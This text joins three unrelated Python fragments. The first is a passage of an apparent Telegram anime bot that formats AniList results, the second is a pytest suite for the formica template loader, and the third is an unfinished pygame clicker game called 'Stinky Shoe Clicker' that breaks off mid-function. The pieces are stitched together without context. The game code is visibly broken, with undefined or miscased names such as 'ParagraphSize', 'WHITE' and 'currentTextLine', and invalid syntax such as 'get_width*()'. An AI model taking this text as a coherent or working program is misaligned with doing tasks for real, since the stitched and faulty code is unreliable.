surl = f"https://t.me/{bot}/?start=des_ANI_{idm}"
dura = (
f"\n➤ **DURATION:** `{duration} min/ep`"
if duration is not None
else ""
)
air_on = None
if data["nextAiringEpisode"]:
nextAir = data["nextAiringEpisode"]["timeUntilAiring"]
air_on = make_it_rw(nextAir*1000)
eps = data["nextAiringEpisode"]["episode"]
ep_ = list(str(eps))
x = ep_.pop()
th = "th"
if len(ep_) >= 1:
if ep_.pop() != "1":
th = pos_no(x)
else:
th = pos_no(x)
air_on += f" | {eps}{th} eps"
if air_on is None:
eps_ = f"` | `{episodes} eps" if episodes is not None else ""
status_air = f"➤ **STATUS:** `{status}{eps_}`"
else:
status_air = f"➤ **STATUS:** `{status}`\n➤ **NEXT AIRING:** `{air_on}`"
if data["trailer"] and data["trailer"]["site"] == "youtube":
trailer_link = f"<a href='https://youtu.be/{data['trailer']['id']}'>Trailer</a>"
title_img = f"https://img.anili.st/media/{idm}"
try:
finals_ = ANIME_TEMPLATE.format(**locals())
except KeyError as kys:
return [f"{kys}"]
return title_img, finals_, [idm, in_ls, in_ls_id, isfav, str(adult)], prql_id, sql_id
async def get_anilist(qdb, page, auth: bool = False, user: int = None):
vars_ = {"search": ANIME_DB[qdb], "page": page}
result = await return_json_senpai(PAGE_QUERY, vars_, auth=auth, user=user)
if len(result['data']['Page']['media'])==0:
return [f"No results Found"]
data = result["data"]["Page"]["media"][0]
# Data of all fields in returned json
# pylint: disable=possibly-unused-variable
idm = data.get("id")
bot = BOT_NAME.replace("@", "")
idmal = data.get("idMal")
romaji = data["title"]["romaji"]
english = data["title"]["english"]
native = data["title"]["native"]
formats = data.get("format")
status = data.get("status")
episodes = data.get("episodes")
duration = data.get("duration")
country = data.get("countryOfOrigin")
c_flag = cflag(country)
source = data.get("source")
prqlsql = data.get("relations").get("edges")
adult = data.get("isAdult")
trailer_link = "N/A"
isfav = data.get("isFavourite")
gnrs = ", ".join(data['genres'])
gnrs_ = ""
if len(gnrs)!=0:
gnrs_ = f"\n➤ **GENRES:** `{gnrs}`"
fav = ", in Favourites" if isfav is True else ""
in_ls = False
in_ls_id = ""
user_data = ""
if auth is True:
in_list = data.get("mediaListEntry")
if in_list is not None:
in_ls = True
in_ls_id = in_list['id']
in_ls_stts = in_list['status']
in_ls_score = f" and scored {in_list['score']}" if in_list['score']!=0 else ""
user_data = f"\n➤ **USER DATA:** `{in_ls_stts}{fav}{in_ls_score}`"
if data["title"]["english"] is not None:
name = f"[{c_flag}]**{english}** (`{native}`)"
else:
name = f"[{c_flag}]**{romaji}** (`{native}`)"
prql, sql = "", ""
for i in prqlsql:
if i["relationType"] == "PREQUEL":
pname = (
i["node"]["title"]["english"]
if i["node"]["title"]["english"] is not None
else i["node"]["title"]["romaji"]
)
prql += f"**PREQUEL:** `{pname}`\n"
break
for i in prqlsql:
if i["relationType"] == "SEQUEL":
sname = (
i["node"]["title"]["english"]
if i["node"]["title"]["english"] is not None
else i["node"]["title"]["romaji"]
)
sql += f"**SEQUEL:** `{sname}`\n"
break
additional = f"{prql}{sql}"
additional.replace("-", "")
dura = (
f"\n➤ **DURATION:** `{duration} min/ep`"
if duration is not None
else ""
)
air_on = None
if data["nextAiringEpisode"]:
nextAir = data["nextAiringEpisode"]["timeUntilAiring"]
air_on = make_it_rw(nextAir*1000)
eps = data["nextAiringEpisode"]["episode"]
ep_ = list(str(eps))
x = ep_.pop()
th = "th"
if len(ep_) >= 1:
if ep_.pop() != "1":
th = pos_no(x)
else:
th = pos_no(x)
air_on += f" | {eps}{th} eps"
if air_on is None:
eps_ = f"` | `{episodes} eps" if episodes is not None else ""
status_air = f"➤ **STATUS:** `{status}{eps_}`"
else:
status_air = f"➤ **STATUS:** `{status}`\n➤ **NEXT AIRING:** `{air_on}`"
if data["trailer"] and data["trailer"]["site"] == "youtube":
trailer_link = f"<a href='https://youtu.be/{data['trailer']['id']}'>Trailer</a>"
url = data.get("siteUrl")
title_img = f"https://img.anili.st/media/{idm}"
surl = f"https://t.me/{bot}/?start=des_ANI_{idm}"
total = result["data"]["Page"]["pageInfo"]["total"]
try:
finals_ = ANIME_TEMPLATE.format(**locals())
except KeyError as kys:
return [f"{kys}"]
return title_img, [finals_, total], [idm, in_ls, in_ls_id, isfav, str(adult)]
async def get_character(query, page, auth: bool = False, user: int = None):
var = {"search": CHAR_DB[query], "page": int(page)}
result = await return_json_senpai(CHARACTER_QUERY, var, auth=auth, user=user)
if len(result['data']['Page']['characters'])==0:
return [f"No results Found"]
data = result["data"]["Page"]["characters"][0]
# Character Data
id_ = data["id"]
name = data["name"]["full"]
native = data["name"]["native"]
img = data["image"]["large"]
site_url = data["siteUrl"]
isfav = data.get("isFavourite")
cap_text = f"""
__{native}__
(`{name}`)
**ID:** {id_}
<a href='{site_url}'>Visit Website</a>"""
total = result["data"]["Page"]["pageInfo"]["total"]
return img, [cap_text, total], [id_, isfav]
async def browse_(qry: str):
s, y = season_()
sort = "POPULARITY_DESC"
if qry == 'upcoming':
s, y = season_(True)
if qry == 'trending':
sort = "TRENDING_DESC"
vars_ = {"s": s, "y": y, "sort": sort}
result = await return_json_senpai(BROWSE_QUERY, vars_)
data = result["data"]["Page"]["media"]
ls = []
for i in data:
if i['format'] in ['TV', 'MOVIE', 'ONA']:
ls.append('• `' + i['title']['romaji'] + '`')
out = f'{qry.capitalize()} animes in {s} {y}:\n\n'
return out + "\n".join(ls[:20])
async def get_manga(qdb, page, auth: bool = False, user: int = None):
vars_ = {"search": MANGA_DB[qdb], "asHtml": True, "page": page}
result = await return_json_senpai(MANGA_QUERY, vars_, auth=auth, user=user)
if len(result['data']['Page']['media'])==0:
return [f"No results Found"]
data = result["data"]["Page"]["media"][0]
# Data of all fields in returned json
# pylint: disable=possibly-unused-variable
idm = data.get("id")
romaji = data["title"]["romaji"]
english = data["title"]["english"]
native = data["title"]["native"]
status = data.get("status")
synopsis = data.get("description")
description = synopsis[:500]
if len(synopsis) > 500:
description += f"...`\n\n[For more info click here](https://t.me/{BOT_NAME.replace('@', '')}/?start=des_ANI_{idm})`"
volumes = data.get("volumes")
chapters = data.get("chapters")
score = data.get("averageScore")
url = data.get("siteUrl")
format_ = data.get("format")
country = data.get("countryOfOrigin")
source = data.get("source")
c_flag = cflag(country)
isfav = data.get("isFavourite")
adult = data.get("isAdult")
fav = ", in Favourites" if isfav is True else ""
in_ls = False
in_ls_id = ""
user_data = ""
if auth is True:
in_list = data.get("mediaListEntry")
if in_list is not None:
in_ls = True
in_ls_id = in_list['id']
in_ls_stts = in_list['status']
in_ls_score = f" and scored {in_list['score']}" if in_list['score']!=0 else ""
user_data = f"➤ **USER DATA:** `{in_ls_stts}{fav}{in_ls_score}`\n"
name = f"""[{c_flag}]**{romaji}**
__{english}__
{native}"""
if english is None:
name = | |
<filename>tests/unit/test_loader.py
import json
import os
import pytest
import yaml
from path import Path
from formica.loader import Loader
from datetime import datetime, timedelta, timezone
@pytest.fixture()
def load():
return Loader()
def write_and_test(example, load, tmpdir):
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(json.dumps(example))
load.load()
actual = json.loads(load.template())
assert actual == example
def test_supported_formats(load, tmpdir):
json_example = {'Resources': {'TestJson': {'Type': 'AWS::S3::Bucket'}}}
yaml_example = {'Resources': {'TestYaml': {'Type': 'AWS::S3::Bucket'}}}
yml_example = {'Resources': {'TestYml': {'Type': 'AWS::S3::Bucket'}}}
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(json.dumps(json_example))
with open('test.template.yaml', 'w') as f:
f.write(yaml.dump(yaml_example))
with open('test.template.yml', 'w') as f:
f.write(yaml.dump(yml_example))
load.load()
actual = json.loads(load.template())
result = {'Resources': {'TestJson': {'Type': 'AWS::S3::Bucket'}, 'TestYaml': {'Type': 'AWS::S3::Bucket'},
'TestYml': {'Type': 'AWS::S3::Bucket'}}}
assert actual == result
def test_successfully_adds_resources_to_template(load, tmpdir):
example = {'Resources': {'TestName': {'Type': 'AWS::S3::Bucket'}}}
write_and_test(example, load, tmpdir)
def test_successfully_adds_description_to_template(load, tmpdir):
example = {'Description': 'TestDescription'}
write_and_test(example, load, tmpdir)
def test_successfully_adds_aws_template_format_version_to_template(load, tmpdir):
example = {'AWSTemplateFormatVersion': '2010-09-09'}
write_and_test(example, load, tmpdir)
def test_successfully_adds_metadata_to_template(load, tmpdir):
example = {
'Metadata': {
'key': 'value',
'key2': 'value2'}}
write_and_test(example, load, tmpdir)
def test_successfully_adds_condition_to_template(load, tmpdir):
example = {'Conditions': {'Condition1': {'Fn::Equals': [{'Ref': 'EnvType'}, 'prod']}}}
write_and_test(example, load, tmpdir)
def test_successfully_adds_mapping_to_template(load, tmpdir):
example = {'Mappings': {'RegionMap': {
'us-east-1': {"AMI": "ami-7f418316"}}}}
write_and_test(example, load, tmpdir)
def test_successfully_adds_parameter_to_template(load, tmpdir):
example = {'Parameters': {'param': {'Type': 'String'}}}
write_and_test(example, load, tmpdir)
def test_successfully_adds_output_to_template(load, tmpdir):
example = {'Outputs': {'Output': {'Value': 'value'}}}
write_and_test(example, load, tmpdir)
def test_successfully_adds_transform_to_template(load, tmpdir):
example = {'Transform': 'TestTransform'}
write_and_test(example, load, tmpdir)
def test_successfully_adds_multiple_transforms_to_template(load, tmpdir):
example = {'Transform': ['TestTransform1', 'TestTransform2']}
write_and_test(example, load, tmpdir)
def test_supports_jinja_templates(load, tmpdir):
example = '{"Description": "{{ \'test\' | title }}"}'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
load.load()
actual = json.loads(load.template())
assert actual == {"Description": "Test"}
def test_supports_extra_jinja_vars(tmpdir):
load = Loader(variables={'test': 'bar'})
example = '{"Description": "{{ test | title }}"}'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
load.load()
actual = json.loads(load.template())
assert actual == {"Description": "Bar"}
def test_module_vars_have_precedence_over_global(tmpdir):
load = Loader(variables={'test': 'bar'})
example = '{"Description": "{{ test }}"}'
with Path(tmpdir):
os.mkdir('moduledir')
with open('moduledir/test.template.json', 'w') as f:
f.write(example)
with open('test.template.json', 'w') as f:
f.write('{"Resources": {"TestResource": {"From": "Moduledir", "Properties": {"test": "baz" } }}}')
load.load()
actual = json.loads(load.template())
assert actual == {"Description": "baz"}
def test_supports_resouce_command(load, tmpdir):
example = '{"Description": "{{ \'ABC%123.\' | resource }}"}'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
load.load()
actual = json.loads(load.template())
assert actual == {"Description": "Abc123"}
def test_resouce_command_supports_none_value(load, tmpdir):
example = '{"Description": "{{ None | resource }}"}'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
load.load()
actual = json.loads(load.template())
assert actual == {"Description": ""}
def test_template_loads_submodules(load, tmpdir):
example = '{"Description": "{{ \'test\'}}"}'
with Path(tmpdir):
os.mkdir('moduledir')
with open('moduledir/test.template.json', 'w') as f:
f.write(example)
with open('test.template.json', 'w') as f:
f.write(json.dumps({'Resources': {'TestResource': {'From': 'Moduledir'}}}))
load.load()
actual = json.loads(load.template())
assert actual == {"Description": "test"}
def test_template_loads_submodules_with_specific_file(load, tmpdir):
example = '{"Description": "{{ \'test\'}}"}'
with Path(tmpdir):
os.mkdir('moduledir')
with open('moduledir/test.template.json', 'w') as f:
f.write(example)
with open('moduledir/test2.template.yml', 'w') as f:
f.write('Sometestthing: does not fail')
with open('test.template.json', 'w') as f:
f.write(json.dumps({'Resources': {'TestResource': {'From': 'Moduledir::Test'}}}))
load.load()
actual = json.loads(load.template())
assert actual == {"Description": "test"}
def test_template_loads_submodule_case_insensitive(load, tmpdir):
example = '{"Description": "{{ \'test\'}}"}'
with Path(tmpdir):
os.mkdir('moduledir')
with open('moduledir/TesT.template.json', 'w') as f:
f.write(example)
with open('test.template.json', 'w') as f:
f.write(json.dumps({'Resources': {'TestResource': {'From': 'Moduledir'}}}))
load.load()
actual = json.loads(load.template())
assert actual == {"Description": "test"}
def test_template_loads_submodules_with_specific_file(load, tmpdir):
example = '{"Description": "{{ \'test\'}}"}'
with Path(tmpdir):
os.mkdir('moduledir')
with open('moduledir/TesT.template.json', 'w') as f:
f.write(example)
with open('moduledir/test2.template.yml', 'w') as f:
f.write('Sometestthing: does not fail')
with open('test.template.json', 'w') as f:
f.write(json.dumps({'Resources': {'TestResource': {'From': 'ModuleDir::tESt'}}}))
load.load()
actual = json.loads(load.template())
assert actual == {"Description": "test"}
def test_template_submodule_loads_variables(load, tmpdir):
example = '{"Description": "{{ test }}"}'
with Path(tmpdir):
os.mkdir('moduledir')
with open('moduledir/test.template.json', 'w') as f:
f.write(example)
with open('test.template.json', 'w') as f:
f.write(json.dumps(
{'Resources': {'TestResource':
{'From': 'Moduledir', 'Properties': {'test': 'Variable'}}}}))
load.load()
actual = json.loads(load.template())
assert actual == {"Description": "Variable"}
def test_template_submodule_loads_further_modules(load, tmpdir):
example = '{"Description": "Description"}'
with Path(tmpdir):
os.mkdir('moduledir')
with open('moduledir/test.template.json', 'w') as f:
f.write(example)
with open('moduledir/module.template.json', 'w') as f:
f.write(json.dumps({'Resources': {'TestResource': {'From': 'Test'}}}))
with open('test.template.json', 'w') as f:
f.write(json.dumps({'Resources': {'TestResource': {'From': 'Moduledir::Module'}}}))
load.load()
actual = json.loads(load.template())
assert actual == {"Description": "Description"}
def test_template_fails_with_nonexistent_module(load, tmpdir):
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(json.dumps({'Resources': {'TestResource': {'From': 'Moduledir'}}}))
with pytest.raises(SystemExit):
load.load()
def test_template_fails_with_no_files_in_module(load, tmpdir):
with Path(tmpdir):
os.mkdir('moduledir')
with open('test.template.json', 'w') as f:
f.write(json.dumps({'Resources': {'TestResource': {'From': 'Moduledir'}}}))
with pytest.raises(SystemExit):
load.load()
def test_template_fails_with_no_file_in_module_with_specified_template(load, tmpdir):
with Path(tmpdir):
os.mkdir('moduledir')
with open('test.template.json', 'w') as f:
f.write(json.dumps({'Resources': {'TestResource': {'From': 'Moduledir::Test'}}}))
with pytest.raises(SystemExit):
load.load()
def test_template_ignores_empty_module(load, tmpdir):
with Path(tmpdir):
os.mkdir('moduledir')
with open('moduledir/test.template.json', 'w') as f:
f.write('')
with open('test.template.json', 'w') as f:
f.write(json.dumps({'Resources': {'TestResource': {'From': 'Moduledir::Test'}}}))
load.load()
def test_template_syntax_exception_gets_caught(load, tmpdir):
example = '{"Description": "{{ test }"}'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
with pytest.raises(SystemExit):
load.load()
def test_template_comment_exception_gets_caught(load, tmpdir):
example = '{"Description": "{#test}"}'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
with pytest.raises(SystemExit):
load.load()
def test_template_not_found_exception_gets_caught(load, tmpdir):
example = '{"Description": "{{ code(\'testfile\') }}}'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
with pytest.raises(SystemExit):
load.load()
def test_yaml_json_syntax_exception_gets_caught(load, tmpdir):
example = '{"Description: "Description"}'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
with pytest.raises(SystemExit):
load.load()
def test_mandatory_filter_throws_exception(load, tmpdir):
example = '{"Description": "{{ test | mandatory }}"}'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
with pytest.raises(SystemExit):
load.load()
def test_mandatory_filter_throws_exception_in_module(load, tmpdir):
example = '{"Description": "{{ test | mandatory }}"}'
with Path(tmpdir):
os.mkdir('moduledir')
with open('moduledir/test.template.json', 'w') as f:
f.write(example)
with open('test.template.json', 'w') as f:
f.write('{"Resources": {"TestResource": {"From": "Moduledir::Test", "Properties": {"test":{{ test }}}}}}')
with pytest.raises(SystemExit):
load.load()
def test_wrong_key_throws_exception(load, tmpdir):
example = '{"SomeKey": "test"}'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
with pytest.raises(SystemExit):
load.load()
def test_undefined_in_dict_throws_exception(load, tmpdir):
example = '{% set test = {} %}{"Description": "{{test["abcde"].key}}"}'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
with pytest.raises(SystemExit):
load.load()
print(load.template())
def test_mandatory_filter_passes_through_text(load, tmpdir):
example = '{"Description": "{{ "test" | mandatory }}"}'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
load.load()
actual = json.loads(load.template())
assert actual == {"Description": "test"}
def test_code_includes_and_escapes_code(load, tmpdir):
example = '{"Description": "{{ code("test.py") }}"}'
pycode = "test\n\"something\""
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
with open('test.py', 'w') as f:
f.write(pycode)
load.load()
actual = json.loads(load.template())
assert actual == {"Description": "test\n\"something\""}
def test_code_with_code_array(load, tmpdir):
example = '{"Resources": {"Test": {{ code("test.py") | code_array }} }}'
pycode = "test\n\"something\"\nanother line"
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
with open('test.py', 'w') as f:
f.write(pycode)
load.load()
actual = json.loads(load.template())
assert actual == {"Resources": {"Test": ["test", "\"something\"", "another line"]}}
def test_code_allows_to_include_files_from_parent(load, tmpdir):
parent = '{"Resources": {"Test": {"From": "Moduledir"}}}'
module = '{"Description": "{{ code("../test.txt") }}"}'
description = "someDescription"
with Path(tmpdir):
os.mkdir('moduledir')
with open('test.template.json', 'w') as f:
f.write(parent)
with open('moduledir/test.template.json', 'w') as f:
f.write(module)
with open('test.txt', 'w') as f:
f.write(description)
load.load()
actual = json.loads(load.template())
assert actual == {"Description": description}
def test_code_includes_additional_variables(load, tmpdir):
example = '{"Description": "{{ code("test.py", testvar=\'teststring\') }}"}'
pycode = "test\n{{testvar}}"
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
with open('test.py', 'w') as f:
f.write(pycode)
load.load()
actual = json.loads(load.template())
assert actual == {"Description": "test\nteststring"}
def test_code_includes_supports_nested_code_arguments(load, tmpdir):
example = '{% set nested_var = "nested" %}{"Description": "{{ code("test.one", nested_var=nested_var) }}"}'
one = '{{ code("test.two", nested_var=nested_var) }}'
two = '{{ nested_var }}-test'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
with open('test.one', 'w') as f:
f.write(one)
with open('test.two', 'w') as f:
f.write(two)
load.load()
actual = json.loads(load.template())
assert actual == {"Description": "nested-test"}
def test_code_passes_variables(tmpdir):
load = Loader(variables={'SomeVariable': 'SomeValue'})
template = '{"Resources": {"{{code("testfile")}}": "Test"}}'
code = '{{SomeVariable}}'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(template)
with open('testfile', 'w') as f:
f.write(code)
load.load()
actual = json.loads(load.template())
assert actual == {"Resources": {"SomeValue": "Test"}}
def test_file_adds_content_directly(load, tmpdir):
example = 'Description: |\n {{ file("test.one") | indent(2)}}'
one = 'abc\ndef'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
with open('test.one', 'w') as f:
f.write(one)
load.load()
actual = json.loads(load.template())
assert actual == {"Description": "abc\ndef"}
def test_file_throws_exception_if_not_well_indented(load, tmpdir):
example = 'Description: {{ file("test.one")}}'
one = 'abc\ndef'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
with open('test.one', 'w') as f:
f.write(one)
with pytest.raises(SystemExit):
load.load()
def test_novalue_uses_value_if_given(load, tmpdir):
example = '{% set Parameter = "description" %}{"Description": "{{ Parameter | novalue }}"}'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
load.load()
actual = json.loads(load.template())
assert actual == {"Description": "description"}
def test_novalue_uses_pseudoparameter_novalue_for_missing_variable(load, tmpdir):
example = '{"Resources": {{ Parameter | novalue }}}'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
load.load()
actual = json.loads(load.template())
assert actual == {"Resources": {"Ref": "AWS::NoValue"}}
def test_novalue_uses_false_if_given(load, tmpdir):
example = '{% set Parameter = false %}{"Resources": {"required": {{ Parameter | novalue }}}}'
with Path(tmpdir):
with open('test.template.json', 'w') as f:
f.write(example)
load.load()
actual = json.loads(load.template())
assert actual == {'Resources': {'required': False}}
def test_novalue_uses_zero_if_given(load, tmpdir):
example = '{% set Parameter = 0 %}{"Resources": | |
<gh_stars>0
#!/usr/bin/env python3
#------------------------------
# VERSION: v3.9 |
#------------------------------
# CPSC 386 Final Project
# Game: Stinky Shoe Clicker!
# Click the sneaker and generate points! Upgrade your clicker and watch
# out for mudslides. A filthy sneaker is a stinky sneaker, so clean it
# up as needed! Get too dirty and you're in for a stinky time!
# <NAME> - <EMAIL>
# <NAME> - <EMAIL>
# <NAME> - <EMAIL>
# With art contributions from:
# ***** <NAME>, CSUF Art Undergrad Student ******
import sys
import pygame
import time
from MyPRNG import MyPRNG
# initialize pygame
pygame.init()
##################### CONSTANTS #####################
# set title
title = "Stinky Shoe Clicker!"
# colors
backColor = 102, 153, 255 # light blue
white = 255, 255, 255
lightGreen = 0, 255, 0
lightRed = 255, 0, 0
green = 0, 200, 0
red = 200, 0, 0
brown = 179, 89, 0
gray = 192, 192, 192
black = 0, 0, 0
#####################################################
# GLOBALS #
RUNNING = 1
PAUSED = 0
state = RUNNING
score = 1
scoreMultiplier = 1
upgradeCost = 500
clickValue = 10
hpoints = 4
chance = 1
mood = pygame.image.load("mood4.png")
# create instance of PRNG
myGen = MyPRNG()
# set width/height
size = width, height = 800, 600
# create the screen
screen = pygame.display.set_mode(size)
# set window title
pygame.display.set_caption(title)
# create clock object
clock = pygame.time.Clock()
# --------------------- Button ----------------------------
# ======================button() ==========================
# button is used for any clickable object in game.
# =========================================================
def button(msg, xPos, yPos, width, height, activeColor, inactiveColor, action):
# object for getting mouse position
mouse = pygame.mouse.get_pos()
# object for getting mouse click
click = pygame.mouse.get_pressed()
# if you hover over first button, turn active color, else turn inactive color
if xPos + width > mouse[0] > xPos and yPos + height > mouse[1] > yPos:
pygame.draw.rect(screen, activeColor, (xPos, yPos, width, height))
if click[0] == 1:
if action == "play":
gameLoop()
elif action == "continue":
return True
elif action == "instructions":
instructionMenu()
else:
sys.exit()
else:
pygame.draw.rect(screen, inactiveColor, (xPos, yPos, width, height))
# font object for buttons
buttonFont = pygame.font.Font(pygame.font.get_default_font(), 20)
# button text
buttonTextSurface = buttonFont.render(msg, True, white)
buttonTextRect = buttonTextSurface.get_rect()
buttonTextRect.center = ((xPos+(width/2)), (yPos+(height/2)))
screen.blit(buttonTextSurface, buttonTextRect)
# ------------------------- Game Screens -----------------------
# ======================= menu() ==========================
# menu shows the initial start screen and gives the option
# to play or quit. It is called by the main function
# at the start of the program.
# =========================================================
def menu():
### maybe make menu return value to main() ###
# load titleScreen image
titleScreen = pygame.image.load("titleScreen.jpg")
# titleScreen rectangle
titleScreenRect = titleScreen.get_rect()
while 1:
for event in pygame.event.get():
#print(event)
if event.type == pygame.QUIT:
pygame.quit()
sys.exit()
# draw images onto screen
screen.blit(titleScreen, titleScreenRect)
# draw play and quit buttons, change colors when hovering
button("Play", 350, 450, 100, 50, lightGreen, green, "play")
button("Quit", 350, 515, 100, 50, lightRed, red, "quit")
#new instruction screen
button("Instructions", 475, 450, 175, 50, gray, black, "instructions")
# update screen
pygame.display.update()
clock.tick(15)
# ======================== text_objects() =========================
# creates a text object used for our instruction menu
# ===============================================================
def text_objects(text, font):
paragraphSize = (xsize, ysize)
fontSize = font.get_height()
# create surface for the paragraph
paragraphSurface = pygame.Surface(paragraphSize)
# make transparent paragraph surface
paragraphSurface.fill((255, 255, 255))
paragraphSurface.set_colorkey((255, 255, 255))
# split the text into several lines
splitLines = text.splitlines()
# get vertical offset
offSet = (paragraphSize[1] - len(splitLines) * (fontSize + 1)) // 2
# loop for each line in the paragraph
for idx, line in enumerate(splitLines):
currentTextline = font.render(line, False, (0, 0, 0))
currentPostion = ((paragraphSize[0] - currentTextLine.get_width*() // 2,
idx * fontSize + offset))
paragraphSurface.blit(currentTextline, currentPostion)
# draw onto the surface
return paragraphSurface, paragraphSize
# ======================== paragraphText() =========================
# sets up the correct format for our instruction menu.
# ==================================================================
def paragraphText(text, font):
paragraphSize = (600,500)
fontSize = font.get_height()
paragraphSurf = pygame.Surface(ParagraphSize)
paragraphSurf.fill(WHITE)
paragraphSurf.set_colorkey(WHITE)
splitLines = text.splitlines()
centreText = (ParagraphSize[1] - len(SplitLines)*(FontSize + 1)//2)
for idx, line in enumerate(SplitLines):
currentTextline = font.render(text, False, (0, 0, 0))
currentPostion = (0, idx * FontSize + CentreText)
paragraphSurf.blit(currentTextline, currentPostion)
return paragraphSurf, paragraphSize
# ======================== instructionMenu() =========================
# handles the instructions that are given at the beginning of the game.
# ====================================================================
def instructionMenu():
### maybe make menu return value to main() ###
# load titleScreen image
titleScreen = pygame.image.load("stinkyBG.jpg")
# titleScreen rectangle
titleScreenRect = titleScreen.get_rect()
# load instructions
instructions = """HOW TO PLAY-
1. On Start Screen, press Play to begin the game or Quit to exit.
2. Begin clicking on the shoe to generate points. Points automatically generate,
but click to generate more points.
3. Strategically upgrade your points multiplier to generate increase your points.
If you upgrade too soon, you might not be prepared for a Stinky or Muddy situation.
4. Continue to keep your shoe as happy and clean as possible!
5. Clicking can be tiresome, so take a pause at any time by pressing the Escape key.
RULES-
1. Can only remove Mud with the Napkin
2. Can only remove stinky fumes with the Spraycan
3. Can only upgrade when you have enough points for the upgrade"""
while 1:
for event in pygame.event.get():
#print(event)
if event.type == pygame.QUIT:
pygame.quit()
sys.exit()
# draw images onto screen
screen.blit(titleScreen, titleScreenRect)
instructionsFont = pygame.font.SysFont("monospace",15)
textSurf, textRect = text_objects("Instructions", instructionsFont)
textRect.center = ((screen_width/2),(screen_height/6))
screen.blit(TextSurf, TextRect)
paragraphText(paragraph, instructionsFont)
intro = True
# draw play and quit buttons, change colors when hovering
button("Play", 350, 450, 100, 50, lightGreen, green, "play")
button("Quit", 350, 515, 100, 50, lightRed, red, "quit")
# update screen
pygame.display.update()
clock.tick(15)
# ======================= gameOver() ==========================
# gameOver shows after points hit 0. It is called by events
# where points are decreased. The player then has the option
# to continue or quit.
# =============================================================
def gameOver():
# resets the values so you can continue from a new game if you die
global RUNNING
global PAUSED
global state
global score
global scoreMultiplier
global upgradeCost
global clickValue
global hpoints
global chance
global mood
RUNNING = 1
PAUSED = 0
state = RUNNING
score = 1
scoreMultiplier = 1
upgradeCost = 500
clickValue = 10
hpoints = 4
chance = 1
mood = pygame.image.load("mood4.png")
# make mouse visible
pygame.mouse.set_visible(True)
# load gameOver image
gameOver = pygame.image.load("gameOver.jpg")
# gameOver rectangle
gameOverRect = gameOver.get_rect()
while 1:
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
sys.exit()
# draw images onto screen
screen.blit(gameOver, gameOverRect)
# draw play and quit buttons, change colors when hovering
button("Continue", 350, 450, 100, 50, lightGreen, green, "play")
button("Quit", 350, 515, 100, 50, lightRed, red, "quit")
# update screen
pygame.display.update()
clock.tick(15)
# ======================= pauseScreen() ==============================
# pauseScreen shows when escape is pressed. It is called by the main
# loop. At this time, pause is implemented into all
# events.
# ====================================================================
def pauseScreen():
#debug step
print("Pausing game..")
# fill screen with backColor
screen.fill(backColor)
#set the font as the same font on title screen
font = pygame.font.Font(pygame.font.get_default_font(), 64)
# render the text on the screen
textSurface = font.render("PAUSED", True, white)
# create text utility object
textRect = textSurface.get_rect()
#center the text
textRect.center = ((width/2),(height/2))
#draw text onto screen
screen.blit(textSurface, textRect)
#bring in the state global variable
global state
while(state == PAUSED):
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
sys.exit()
# when continue is pressed, action set to True
action = button("Continue", 350,375,100,50, lightGreen, green, "continue")
button("Quit", 350,450,100,50, lightRed, red, "quit")
# if true, return to game
if action == True:
return
pygame.display.update()
clock.tick(15)
#-------------------------Events------------------------------
# ===================== mudslide() =============================
# mudslide randomly generates mud onto the shoe
# in this event, points decrease at a medium rate
# and the amount of decrease scales with the x2 multiplier
# it is called during the gameLoop() and calls the PRNG
# for numbers
# ==============================================================
def mudslide():
# reference global vars
global score
global scoreMultiplier
global upgradeCost
global clickValue
global hpoints
# list for storing mudSplat recs
mudArray = []
# load background image
background = pygame.image.load("mudBG.jpg")
# create background rectangle
backgroundRect = background.get_rect()
# load mood image
global mood
#create mood rectangle
moodRect = mood.get_rect() #new
# load Napkin Cursor Image
napkinCursor = pygame.image.load("napkin.png")
# napkin Cursor Rectangle
napkinCursorRect = napkinCursor.get_rect()
# set napkin cursor variable to not clicked yet
napkinButtonPressed = False
# load up mudSplat
# mudSplatRects will be instantiated later
mudSplat = pygame.image.load("mud.png")
# load muddy shoe image
muddyShoe = pygame.image.load("sneaker.png")
# muddyShoe rectangle
muddyShoeRect = muddyShoe.get_rect()
# load napkin button
napkinButton = pygame.image.load("napkinButton.png")
# create napkin rectangle
napkinButtonRect = napkinButton.get_rect()
# load deodorant button
deodorButton = pygame.image.load("spraycanButtonDisabled.png")
# create napkin rectangle
deodorButtonRect = deodorButton.get_rect()
myfont = pygame.font.SysFont("monospace", 16)
# set x,y position of shoe image on screen
muddyShoeRect.x = width * 0.07
muddyShoeRect.y = height * 0.15
# set x,y position of napkin image on screen
napkinButtonRect.x = width * 0.83
napkinButtonRect.y = height * 0.25
# set x,y position of deodorant image on screen
deodorButtonRect.x = width * 0.83
deodorButtonRect.y = height * 0.49
# set x,y position of mood image on screen
moodRect.x = width * .33 #new
moodRect.y = height * .01 #new
# place a number of mudSplats on shoe based on multiplier
if scoreMultiplier == 1:
mudSplatRect = mudSplat.get_rect()
randNum = randomNumber()
mudSplatRect.x = ((width * randNum) % (656 - 334)) + muddyShoeRect.x
